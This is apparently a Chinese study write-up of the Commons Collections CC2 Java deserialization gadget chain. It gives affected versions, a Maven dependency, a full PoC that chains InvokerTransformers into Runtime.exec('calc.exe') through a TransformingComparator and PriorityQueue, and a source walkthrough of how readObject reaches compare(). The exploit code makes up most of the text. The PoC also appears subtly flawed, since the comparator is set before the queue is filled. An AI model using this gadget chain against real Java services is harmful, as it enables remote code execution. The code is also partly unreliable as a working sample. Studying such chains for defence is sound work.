CC2
Apache Commons Collections 3.2.1 或 4.0(未修复版本) JDK ≤ 8u71(高版本JDK需结合其他入口类绕过)
|
依赖
<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
|
POC
package org.example;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.PriorityQueue;
public class CC2POC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ) }; ChainedTransformer chain = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(1);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(queue); oos.close();
} }
|
分析
TransformingComparator 是 Apache Commons Collections 库中的一个 比较器(Comparator) 实现, 它的核心功能是: 在比较两个对象之前,先通过一个 Transformer 对它们进行转换, 再基于转换后的结果进行比较。
|
看一下具体方法的实现:
public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); }
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; }
public int compare(I obj1, I obj2) { O value1 = (O)this.transformer.transform(obj1); O value2 = (O)this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
|
也就是说这个类可以实现将两个值通过设定好的翻译器
翻译后再进行比较
调用compare()
方法时触发翻译的操作
PriorityQueue
既然最后序列化的是他那么就先看一下readObject()
方法
以及触发比较翻译器compare()
方法的路径
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object[initialCapacity]; for (int i = 0; i < size; i++) queue[i] = s.readObject(); heapify(); }
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
|
如此一来就成功的实现了计算器的弹出